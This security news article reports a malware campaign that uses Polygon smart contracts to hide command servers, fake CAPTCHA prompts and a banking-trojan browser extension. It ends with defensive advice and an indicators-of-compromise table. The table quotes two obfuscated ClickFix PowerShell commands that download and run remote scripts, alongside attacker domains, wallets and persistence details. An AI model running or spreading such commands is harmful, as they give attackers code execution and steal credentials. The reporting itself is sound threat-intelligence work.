CyberSecurityNews

Hackers Hide Malware Servers on Blockchain to Steal Bank Logins and 2FA Codes


A new malware campaign is using blockchain technology to keep its control servers out of reach. The operation tricks visitors to compromised business websites into running a malicious command, then steals bank logins and two-factor authentication codes.

The campaign has been active since at least November 2025. It combines a fake human-verification prompt, malicious PowerShell commands, and a backdoor that receives new instructions.

Researchers at GuidePoint Security identified the activity. Their inquiry uncovered at least 31 compromised legitimate websites, 15 Polygon smart contracts, and infrastructure that can change direction without updating the malware itself across industries in several countries over seven months.

GuidePoint Security said in a report shared with Cyber Security News (CSN) that the backdoor was later used to install a fake browser extension designed to intercept credentials and two-factor codes from roughly 479 financial and cryptocurrency sites.

It resembles ClickFix-driven ransomware access, but blockchain makes the operation more durable.

Hackers Hide Malware Servers on Blockchain

The technique is known as EtherHiding. Instead of placing a fixed command-and-control address inside the malware, the agent asks a smart contract on Polygon where it should connect.

The contract returns an encrypted address, allowing the operators to change their server with a low-cost blockchain transaction.

That design weakens a familiar defensive response: blocking a malicious domain. When an address is replaced, infected machines can obtain the next address during their next check-in, while the earlier stages remain unchanged.

The attack chain (Source – GuidePoint Security)

Victims reach the malware through legitimate sites that attackers altered with a JavaScript injection. People arriving via Google or Bing may see a fake CAPTCHA overlay, which tells them to press Windows+R, paste a command, and press Enter.

The action looks like a verification step but launches the infection on the victim’s computer. The pasted command creates a scheduled task named Enter that repeatedly tries to retrieve the next-stage scripts.

One script establishes reboot persistence through a Windows Registry value, while the other queries Polygon and contacts the active control server.

This social-engineering path resembles the Windows Run dialog attack method, where a victim is persuaded to execute the attacker’s command rather than a browser flaw being exploited.

Banking Trojan Raises Stakes

The backdoor also delivered a browser extension that posed as legitimate software while operating as a banking trojan. It could watch users enter usernames, passwords, and two-factor codes, then use web-inject content to target bank and cryptocurrency accounts.

The extension also collected browser information and could support keylogging, screen capture, video capture, and theft from password managers and cryptocurrency wallets.

Similar extension-based theft was recently seen in the KREMLIN banking malware operation, illustrating why a browser add-on installed after a deceptive prompt deserves urgent investigation.

The FakeCaptcha (Source - GuidePoint Security)
The FakeCaptcha (Source – GuidePoint Security)

The infrastructure has weaknesses despite its resilience. Researchers found that one build and staging server exposed its origin address and was running seven vulnerabilities listed as actively exploited.

Some command domains and compromised websites remained live, so the campaign should be treated as ongoing rather than historical.

Security teams should focus on behavior, not only blocklists. Useful detection points include the Enter scheduled task, unexpected PowerShell activity, paired scripts in a user’s temporary folder, the PersonalizedUpdates Registry value, and outbound Polygon blockchain queries.

Teams that do not need blockchain access can block or alert on those requests, potentially stopping the malware before it learns its current server.

Organizations should also restrict unapproved browser extensions, investigate new Chrome Native Messaging registrations, and treat a confirmed extension installation as a potential credential compromise.

Passwords for banking, exchange, and other sensitive accounts used on an affected device should be reset from a clean system, while responders assess the wider environment.

The wider trend, also reflected in blockchain-based loader campaigns, shows that attackers are using public infrastructure to make short-lived domains less important and behavioral detection more important.

Indicators of Compromise (IoCs):-

TypeIndicatorDescription
C2 domain3262d48df5d75e34[.]shopActive C2 infrastructure
C2 domainddcd62e16a428c8e[.]shopInactive C2 infrastructure
C2 domainhivinest[.]onlineActive C2 infrastructure
C2 domaindsgnfwd[.]xyzSibling-contract C2 infrastructure
C2 domainhubcreative[.]shopSibling-contract C2 infrastructure
C2 domaininsinght[.]siteActive sibling-contract C2 infrastructure
Delivery domain45a3158594d6ba76[.]funFake CAPTCHA delivery infrastructure
Delivery domain82d35f9b891c987a[.]funFake CAPTCHA delivery infrastructure
Delivery domain9082b2a18f2e00fe[.]funFake CAPTCHA delivery infrastructure
Delivery domain67b3ac3e45812153[.]funFake CAPTCHA delivery infrastructure
Delivery domaintruieparth[.]onlineFake CAPTCHA delivery infrastructure
Delivery domaincleearpeyak[.]onlineFake CAPTCHA delivery infrastructure
Delivery domainveruisuealx[.]xyzFake CAPTCHA delivery infrastructure
Delivery domainfolfdighdd[.]xyzFake CAPTCHA delivery infrastructure
Supporting domainonemm[.]netBuild and staging server
IP address37.27.52[.]152Origin IP address for onemm[.]net
Traffic-distribution domainadditionalver[.]comTraffic funnel infrastructure
Traffic-distribution domainpromo-chatgpt[.]comTraffic funnel infrastructure
Traffic-distribution domainpleasewaitcenter[.]topTraffic funnel infrastructure
Traffic-distribution domainskaybolt[.]onlineTraffic funnel infrastructure
Traffic-distribution domainlanhd6549tdhse[.]topTraffic funnel infrastructure
Web-inject panelpurplepencel[.]onlineBanking and cryptocurrency web-inject configuration panel
Web-inject paneldetsigen[.]siteBanking and cryptocurrency web-inject configuration panel
WebSocket endpoint90happymoney[.]top:3001/wsBrowser-extension command-and-control endpoint
Polygon wallet0xd802C9427ce416B9DAb2db5aDD76EfAA6d9d826aOperator wallet associated with contract deployment
Polygon wallet0x6a6e177dcf992ac16f7367c14b26a3cf4775dfdeOperator wallet associated with contract deployment
Polygon smart contract0xde2d34339c279a7a79bc4fc1c4f37d3c055211b7Primary C2 smart contract
Polygon smart contract0xa982e044217b6bbaa7b3123b670c1c0ca1138a37Sibling smart contract
Polygon smart contract0x308e9ecc849533a042f13fd77e5c82ec3c62e9f2First contract attributed to the second operator wallet
Blockchain event topic0x868f5f914e26b486c50b15494d56c6b2f2f17f6514343909bd36a034c19452ccEvent signature for monitoring contract updates
Polygon RPC endpointpolygon-bor-rpc.publicnode.comBlockchain query endpoint used by the malware
Polygon RPC endpointpolygon.publicnode.comBlockchain query endpoint used by the malware
Polygon RPC endpointpolygon.gateway.tenderly.coBlockchain query endpoint used by the malware
Polygon RPC endpointgateway.tenderly.co/public/polygonBlockchain query endpoint used by the malware
Polygon RPC endpoint1rpc.io/maticBlockchain query endpoint used by the malware
Polygon RPC endpointpolygon.api.onfinality.io/publicBlockchain query endpoint used by the malware
Polygon RPC endpointpolygon.rpc.subquery.network/publicBlockchain query endpoint used by the malware
Polygon RPC endpointpolygon.drpc.orgBlockchain query endpoint used by the malware
Polygon RPC endpointpolygon.lava.buildBlockchain query endpoint used by the malware
Registry valuePersonalizedUpdatesPersistence value under HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
Scheduled taskEnterRepeating task used during the initial delivery stage
Browser extension IDbpknfkhjjbjgagobdaekmnlgdhbbpceaMalicious browser extension identifier
Native messaging hostcom.top.indexChrome Native Messaging host associated with the extension
ClickFix command$a=”1i1e1x2i1r1m1″ -replace 1 -split 2;&$a[0](&$a[1]/);ClickFix variant linked to veruisuealx[.]xyz
ClickFix command$a=irm /;[System.Management.Automation.PowerShell]::Create().AddScript($a).Invoke()ClickFix variant linked to truieparth[.]online
SHA-25603A1D2ECA771A276AC9C29A4BF219D31BEB20848998CACDA8B06375BD2795B10C2 agent
SHA-2565ac6a2b0d20c5508027e6fde6503a5e0105be59f2a57e6659caa14e4ac0d5939C2 agent variant
SHA-25667427f232762fe32afab1d0d14b1d6e7f7920f5b151e133fb68c9dfc333ec69aPersistence script
SHA-25610ab0f8ee0829fb24bf2c915f5bb0f35a2d84ed1d69049d42ca32cfa36250c11C2 agent, sample 4
SHA-256cf176cf0ff50c74f08f127ef3b09be63a6f9e3ad69fa48233d4c805898368b2aC2 agent, sample 5
SHA-25606990ee09a29d2cdde32cb639d50e6c1e078da96a7bdabd03a68a0bb209d07b1Persistence script, sample 4
SHA-25600810c2e0ad5031b9fe5d2cfb4a6fb45a1c424d6b92be7ba3b1aaa7c55b10f8ePersistence script, sample 5

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Cut every SOC alert investigation by 21 min. Power your SOC with instant IOC context for immediate response: Integrate TI Lookup in your SOC



Source link